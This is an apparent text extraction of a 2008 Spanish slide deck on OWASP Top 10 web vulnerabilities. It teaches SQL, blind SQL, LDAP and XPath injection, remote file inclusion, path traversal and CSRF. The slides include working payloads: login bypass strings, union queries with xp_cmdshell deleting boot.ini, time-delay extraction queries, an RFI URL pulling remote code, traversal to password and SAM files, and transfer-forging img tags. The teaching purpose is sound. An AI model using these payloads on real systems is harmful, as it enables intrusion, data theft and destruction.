1. 12/04/2008
The Open Web Application Security Project
THE TEN MOST CRITICAL WEB APPLICATION SECURITY
VULNERABILITIES
►http://www.owasp.org/images/e/e8/OWASP_Top_1
0_2007.pdf
1
3. 12/04/2008
►SQL Injection
►LDAP Injection
►Xpath Injection
►…Y a ciegas…
►Blind SQL Injection
►Blind LDAP Injection
►Blind XPAth Injection
► Aplicaciones con mala comprobación de datos de entrada.
Datos de usuario.
Formularios
oText
oPassword
oTextarea
oList
omultilist
Datos de llamadas a procedimientos.
Links
Funciones Scripts
Actions
► Datos de usuario utilizados en consultas a base de datos.
► Mala construcción de consultas a bases de datos.
3
4. 12/04/2008
►Permiten al atacante:
Saltar restricciones de acceso.
Elevación de privilegios.
Extracción de información de la Base de Datos
Parada de SGBDR.
Ejecución de comandos en contexto usuario bd
dentro del servidor.
►Ejemplo 1:
Autenticación de usuario contra base de datos.
Usuario
Clave ****************
Select idusuario from tabla_usuarios
Where nombre_usuario=‘$usuario’
And clave=‘$clave’;
4
5. 12/04/2008
►Ejemplo 1 (cont)
Usuario Administrador
Clave ‘ or ‘1’=‘1
Select idusuario from tabla_usuarios
Where nombre_usuario=‘Administrador’
And clave=‘’ or ‘1’=‘1’;
►Ejemplo 2:
Acceso a información con procedimientos de
listado.
http://www.miweb.com/prog.asp?parametro1=hola
Ó
http://www.miweb.com/prog.asp?parametro1=1
5
6. 12/04/2008
►Ejemplo 2 (cont):
http://www.miweb.com/prog.asp?parametro1=‘ union select
nombre, clave,1,1,1 from tabla_usuarios; otra instrucción;
xp_cmdshell(“del c:boot.ini”); shutdown --
Ó
http://www.miweb.com/prog.asp?parametro1=-1 union select
.....; otra instrucción; --
►Escrita por Francisco Amato
►Obtener la estructura y datos completa de la BBDD.
1 Injección para la estructura
1 post para cada fila
Totalmente automática
►Soporta “n” bases de datos.
►Descargable (app y source)
http://www.infobyte.com.ar
6
7. 12/04/2008
►Programa.asp?id=218 and 1=(select top 1 name from
sysusers order by 1 desc)
►Microsoft OLE DB Provider for SQL Server error
'80040e07'
Conversion failed when converting the nvarchar value
'sys' to data type int.
/Programa.asp, line 8
►Programa.asp?id=218 and 1=(select top 1 name from
sysusers where name<’sys’ order by 1 desc)
7
9. 12/04/2008
►La aplicación Web no muestra ningún mensaje de
error.
►La aplicación no procesa nuestros comandos
Select titulo from tabla where param=$param
►Se inyecta comandos y se busca hacer preguntas de
Verdad o Mentira. Ejemplo:
http://server/miphp.php?id=1 and 1=1
http://server/miphp.php?id=1 and 1=2
9
10. 12/04/2008
►¿Como reconocer un falso?
Da un código de error
Da una página de error
Cambia el hash de la firma
Cambia el árbol html
Tarda más en responder
►Si la página reacciona de forma diferente a la Verdad y a la
Mentira, entonces podemos extraer datos haciendo búsquedas:
http://server/miphp.php?id=1 and 300>(select
ascii(substring(username,1,1) from all_users where rownum<=1)
10
11. 12/04/2008
►Si el contenido de la respuesta es idéntico en ambos
casos, aún es posible conseguir nuestro objetivo
variando condicionalmente el tiempo de respuesta
del servidor
Si la condición inyectada es verdadera, la aplicación
tardará unos segundos en contestar
Si la condición es falsa, la aplicación devolverá la
misma respuesta, pero en el tiempo habitual
►Podemos utilizar las mismas técnicas de inyección
descritas anteriormente
21
►¿Cómo podemos conseguir el retardo?
Utilizando instrucciones de retardo implementadas
en el propio gestor de bases de datos
SQL Server: waitfor delay
Oracle: dbms_lock.sleep
MySQL: sleep
Utilizando consultas pesadas que consuman
muchos recursos del servidor (CPU o memoria)
CROSS JOIN que involucren muchas tablas
De cualquier otra forma (ej: xp_cmdshell 'ping…')
22
11
12. 12/04/2008
►Instrucciones de retardo del propio SGBD
Microsoft SQL Server
; if (exists(select * from contrasena)) waitfor delay '0:0:5'
Oracle
; begin if (condicion) then dbms_lock.sleep(5); end if; end;
MySQL (versión 5)
and exists(select * from contrasena) and sleep(5)
and exists(select * from contrasena) and
benchmark(5000000,md5(rand()))=0
Microsoft Access no tiene instrucciones de retardo
23
http://elladodelmal.blogspot.com/2007/06/blind-sql-injection-ii-de-hackeando-un.html
12
13. 12/04/2008
►Consultas pesadas
La clave para generar consultas pesadas está en
realizar múltiples operaciones CROSS JOIN
Joins Filas Columnas
1 4 2
2 16 4
3 64 6
4 256 8
5 1024 10
Ejemplo: Una tabla con 4 registros y 2 columnas
combinada consigo misma 10 veces, genera un
resultado de 20 columnas y más de un millón de filas
►Consultas pesadas: estructura
SELECT COUNT(*) FROM tabla T1, tabla T2, …, tabla Tn
Donde el número de tablas implicadas en el producto
cartesiano (CROSS JOIN) sea suficientemente grande
como para generar un retardo medible
Dependiendo del SGDB y de cómo realice la
comprobación de las condiciones lógicas introducidas
con AND, deberemos establecer nuestra subconsulta
SQL antes o después del operador lógico
AND subconsulta AND consulta_pesada
AND consulta_pesada AND subconsulta
http://www.microsoft.com/latam/technet/articulos/art
iculos_seguridad/2007/septiembre/sv0907.mspx
26
13
14. 12/04/2008
►Consultas pesadas: tablas recomendadas
Microsoft SQL Server
sysusers
Oracle
all_users
MySQL (versión 5)
information_schema.columns
Microsoft Access
MSysAccessObjects (versiones 97 y 2000)
MSysAccessStorage (versiones 2003 y 2007)
27
Verdad: La consulta dura 6 segundos.
14
17. 12/04/2008
►Absinthe: Extrae toda la
información de bases de
datos MSSQL,
PostgreSQL, Sybase y
Oracle utilizando suma
linear de valores ASCII.
►Absinthe: Extrae toda
la información de bases
de datos MSSQL,
PostgreSQL, Sybase y
Oracle utilizando suma
linear de valores ASCII.
17
23. 12/04/2008
►Certezas absolutas (RFC 4256)
Absolute FALSE (|)
Absolute TRUE (&)
►Anomalías:
¿NOT absoluto? (!) -> equivalente a !
Caracteres fuera del alfabeto
Ñ* -> equivalente a *
Ç* -> equivalente a *
** -> equivalente a ¡¡ERROR!!
23
24. 12/04/2008
Explotación
Dada la siguiente consulta Xpath:
string(//user[username/text()=‘romansoft' and password/text()='!dSR']/uid/text())
Dónde buscar Condición Qué devolver
Inyectamos:
User: abc' or 1=1 or 'a'='b
Pass: k
La condición quedaría:
username/text()=‘abc' or 1=1 or 'a'='b' and password/text()=‘k'
►Vulnerabilidad propia de páginas PHP
dinámicas que permite enlace de archivos
remotos situados en otros servidores
►Se debe a una mala programación o uso de la
función include()
►Esta vulnerabilidad no se da en páginas
programadas en un lenguaje que no permita
la inclusión de ficheros ajenos al servidor
24
25. 12/04/2008
►La vulnerabilidad es producida por código semejante
a este
$page = $_GET['page'];
include($page);
►En páginas de este tipo se puede incluir ficheros que
estén en nuestro servidor
http://victima.com/pagvuln.php?page=http://[misitio]/miFichero
►Existen herramientas que permite explorar un
sitio Web en busca de este tipo de
vulnerabilidades (rpvs)
25
26. 12/04/2008
►Mediante las shell PHP se pueden ejecutar
comandos en una página Web
►Usando RFI se puede incluir un fichero que
ejecute comandos, tales como listar
directorios, obtener y colocar ficheros, etc.
►http://www.acamandola.com/safe.txt
►“El cucharón”
Rutas a ficheros no controladas
File=../../../../etc/passw
id=…/../windows/repair/sam
26
27. 12/04/2008
►Session Riding, One-Click Attacks, Cross Site
Reference Forgery, Hostile Linking, Automation
Attack o XSRF.
►Por medio de una injección se fuerza la ejecución de
acciones automáticas por parte del usuario.
<img src=quot;http://www.example.com/logout.phpquot;>
<img src=quot;http://www.example.com/transfer.do?
frmAcct=document.form.frmAcct &toAcct=4345754
&toSWIFTid=434343&amt=3434.43quot;>
27
28. 12/04/2008
►Se deja información sensible sin asegurar
►Se muestran mensajes de error detallados
►7.- Autenticación Rota y Gestión de Sesión
Partes sin comprobar autenticación
No procesos de logout seguro.
►8.- Almacenamiento con Criptografía insegura
Datos sin cifrar o mal cifrados
►9.- Comunicaciones Inseguras
►10.-URLs mal restringidas
Pueden ser adivinadas o “bruteforceadas”
28
29. 12/04/2008
►Chema Alonso
►chema@informatica64.com
►http://elladodelmal.blogspot.com
►http://www.informatica64.com
►Francisco Amato
►Infobyte
►famato@infobyte.com.ar
►http://www.infobyte.com.ar
Technews I64. Suscríbete Gratis en
http://www.informatica64.com/boletines
November 2006 58
29
30. 12/04/2008
Blind SQL Injection
http://elladodelmal.blogspot.com/2007/07/proteccin-contra-las-tcnicas-de-
blind.html
Time-Bases Blind SQL Injection with heavy Queries
http://www.microsoft.com/latam/technet/articulos/articulos_seguridad/2007/s
eptiembre/sv0907.mspx
LDAP Injection & Blind LDAP Injection
http://elladodelmal.blogspot.com/2007/10/ldap-injection-blind-ldap-
injection_9021.html
XPath injection in XML databases
http://palisade.plynt.com/issues/2005Jul/xpath-injection/
Blind XPath Injection
http://packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518.
pdf
► Milw0rm (Webapps exploits)
http://milw0rm.com/webapps.php
- OWASP
http://www.owasp.org
30